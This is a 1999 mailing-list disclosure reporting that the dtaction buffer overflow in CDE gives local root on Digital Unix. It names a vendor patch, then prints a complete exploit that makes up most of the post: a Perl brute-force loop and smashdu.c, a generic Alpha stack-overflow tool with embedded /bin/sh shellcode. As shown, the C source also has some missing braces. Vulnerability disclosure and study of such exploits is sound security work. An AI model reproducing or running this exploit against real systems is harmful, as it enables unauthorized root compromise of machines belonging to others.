Zack Hubert [zhubert@UWPN.ORG]
Sent: Thursday, September 16, 1999 12:39 PM
Subject: Vulnerability in dtaction on Digital Unix


I have verified that the dtaction vulnerability in CDE can be exploited for
local root compromise on Digital Unix systems.

Background
--------------
This is a followup to the issue first introduced by Job de Haas on the
buffer overflow present within /usr/dt/bin/dtaction.  He had verified that
the problem exists on Solaris 7, 2.6, 2.5.1.  Lamont Granquist then posted a
followup saying it was exploitable on Digital Unix's implementation of CDE.
I have found Lamont's original assessment to be correct.

Workaround
---------------
Use the patch (ssrt0615u_dtaction) available from Digital at
http://ftp.service.digital.com/public/Digital_UNIX/.

Code
------
Note: This was all written by Lamont Granquist and distributed under
previous Digital Unix overflows.  There is a slight modification however.
Compile smashdu, change the perl script to match your location, put some
kind of paperweight on your enter key (believe me!), and voila, root.

Sincerely,

Zack Hubert (zhubert@uwpn.org)
UW Physicians Network - Unix Administrator

---Cut Here---
#!/usr/local/bin/perl

$n=8175;
foreach $j (1..1000) {
  foreach $i (0..7) {
    $x = $n + $j;
    printf("%d %d\n",$x,$i);
    $cmd = "./smashdu -e 'DISPLAY=youriphere:0' 1013 $i $x
/usr/dt/bin/dtaction -u %e Run /bin/sh";
    open(S,"echo id | $cmd 2>&1|") || die "can't open pipe: $?\n";
    while (<S>) {
      if (m|uid=0|) {
        print "got root with '$cmd'\n";
        exit(0);
      }
    }
  close(S);
  }
}
exit(0);


---Cut Here---

/* smashdu.c
   generic buffer overflow C 'script' for DU4.x (4.0B, 4.0D, ???)
   Lamont Granquist
   lamontg@hitl.washington.edu
   lamontg@u.washington.edu
   Tue Dec  1 11:22:03 PST 1998

   gcc -o smashdu smashdu.c */

#define MAXENV 30
#define MAXARG 30

#include <unistd.h>
#include <stdlib.h>
#include <strings.h>
#include <stdio.h>

/* shellcode = 80 bytes.  as the entry to this shellcode is at offset+72
bytes
   it cannot be simply padded with nops prior to the shellcode.  */

int rawcode[] = {
  0x2230fec4,              /* subq $16,0x13c,$17       */
  0x47ff0412,              /* clr $18                  */
  0x42509532,              /* subq $18, 0x84           */
  0x239fffff,              /* xor $18, 0xffffffff, $18 */
  0x4b84169c,
  0x465c0812,
  0xb2510134,              /* stl $18, 0x134($17)      */
  0x265cff98,              /* lda $18, 0xff978cd0      */
  0x22528cd1,
  0x465c0812,              /* xor $18, 0xffffffff, $18 */
  0xb2510140,              /* stl $18, 0x140($17)      */
  0xb6110148,              /* stq $16,0x148($17)       */
  0xb7f10150,              /* stq $31,0x150($17)       */
  0x22310148,              /* addq $17,0x148,$17       */
  0x225f013a,              /* ldil $18,0x13a           */
  0x425ff520,              /* subq $18,0xff,$0         */
  0x47ff0412,              /* clr $18                  */
  0xffffffff,              /* call_pal 0x83            */
  0xd21fffed,              /* bsr $16,$l1    ENTRY     */
  0x6e69622f,              /* .ascii "/bin"            */
                           /* .ascii "/sh\0" is generated */
};

int nop           = 0x47ff041f;
int shellcodesize = 0;
int padding       = 0;
int overflowsize  = 0;
long retaddr      = 0x11fffff24;


void usage(void) {
  fprintf(stderr, "smashdu [-e <env>] [-r <ra>] ");
  fprintf(stderr, "shellsize pad bufsize <cmdargs>\n");
  fprintf(stderr, "  -e: add a variable to the environment\n");
  fprintf(stderr, "  -r: change ra from default 0x11fffff24\n");
  fprintf(stderr, "  shellsize: size of shellcode on the heap\n");
  fprintf(stderr, "  pad: padding to alighn the shellcode correctly\n");
  fprintf(stderr, "  bufsize: size of the buffer overflow on the stack\n");
  fprintf(stderr, "  cmdargs: %%e will be replaced by buffer overflow\n");
  fprintf(stderr, "ex: smashdu -e \"DISPLAY=foo:0.0\" 1024 2 888 ");
  fprintf(stderr, "/foo/bar %%e\n");
  exit(-1);
}

/* this handles generation of shellcode of the appropriate size and with
   appropriate padding bytes for alignment.  the padding argument should
   typically only be 0,1,2,3 and the routine is "nice" in that if you feed
   it the size of your malloc()'d buffer it should prevent overrunning it
   by automatically adjusting the shellcode size downwards. */


int genshellcode(char *shellcode, int size, int padding) {
  int i, s, n;
  char *rp;
  char *sp;
  char *np;

  rp = (char *)rawcode;
  sp = (char *)shellcode;
  np = (char *)&nop;
  s  = size;

  if (size < (80 + padding))  {
    fprintf(stderr, "cannot generate shellcode that small: %d bytes, ");
    fprintf(stderr, "with %d padding\n", size, padding);
    exit(-1);
  }

/* first we pad */
  for(i=0;i<padding;i++) {
    *sp = 0x6e;
    sp++;
    s--;
  }

/* then we copy over the first 72 bytes of the shellcode */
  for(i=0;i<72;i++) {
    *sp = rp[i];
    sp++;
    s--;
  }

  if (s % 4 != 0) {
    n = s % 4;
    s -= n;
    printf("shellcode truncated to %d bytes\n", size - n);
  }

/* then we add the nops */
  for(i=0; s > 8; s--, i++) {
    *sp = np[i % 4];
    sp++;
  }
  n = i / 4;       /* n == number of nops */

/* then we add the tail 2 instructions */
  for(i=0; i < 8; i++) {
    *sp = rp[i+72];
    if(i==0)   /* here we handle modifying the branch instruction */
      *sp -= n;
    *sp++;
  }

}

int main(argc, argv)
  int   argc;
  char *argv[];
{
  char *badargs[MAXARG];
  char *badenv[MAXENV];
  long  i, *ip, p;
  char *cp, *ocp;
  int   c, env_idx, overflow_idx;

  env_idx = 0;

  while ((c = getopt(argc, argv, "e:r:")) != EOF) {
    switch (c) {
    case 'e':                         /* add an env variable */
      badenv[env_idx++] = optarg;
      if (env_idx >= MAXENV - 2) {
        fprintf(stderr, "too many envs, ");
        fprintf(stderr, "try increasing MAXENV and recompiling\n");
        exit(-1);
      }
      break;
    case 'r':                         /* change default ra */
      sscanf(optarg, "%x", &retaddr);
      break;
    default:
      usage();
      /* NOTREACHED */
    }
  }

  if (argc - optind < 4) {
    usage();

  shellcodesize = atoi(argv[optind++]);
  padding       = atoi(argv[optind++]);
  overflowsize  = atoi(argv[optind++]);

  printf("using %d %d %d\n", shellcodesize, padding, overflowsize);

/* copy the args over from argv[] into badargs[] */
  for(i=0;i<29;i++) {
    if (strncmp(argv[optind], "%e", 3) == 0) {  /* %e gets the shellcode
*/
      badargs[i] = malloc(overflowsize);
      overflow_idx = i;
      optind++;
    } else {
      badargs[i] = argv[optind++];
    }
    if (optind >= argc) {
      i++;
      break;
    }
  badargs[i] = NULL;

  if (optind < argc) {
    fprintf(stderr, "too many args, try increasing MAXARG and
recompiling\n");
    exit(-1);
  }

  printf("putting overflow code into argv[%d]\n", overflow_idx);

  cp = badargs[overflow_idx];
  for(i=0;i<overflowsize-8;i++) {
    *cp = 0x61;
    cp++;
  }

  ocp = (char *) &retaddr;

  for(i=0;i<8;i++) {
    cp[i] = ocp[i];
  }

/* here is where we actually shovel the shellcode into the environment */
  badenv[env_idx] = malloc(1024);
  genshellcode(badenv[env_idx++],shellcodesize,padding);
  badenv[env_idx] = NULL;

/* and now we call our program with the hostile args */
  execve(badargs[0], badargs, badenv);

}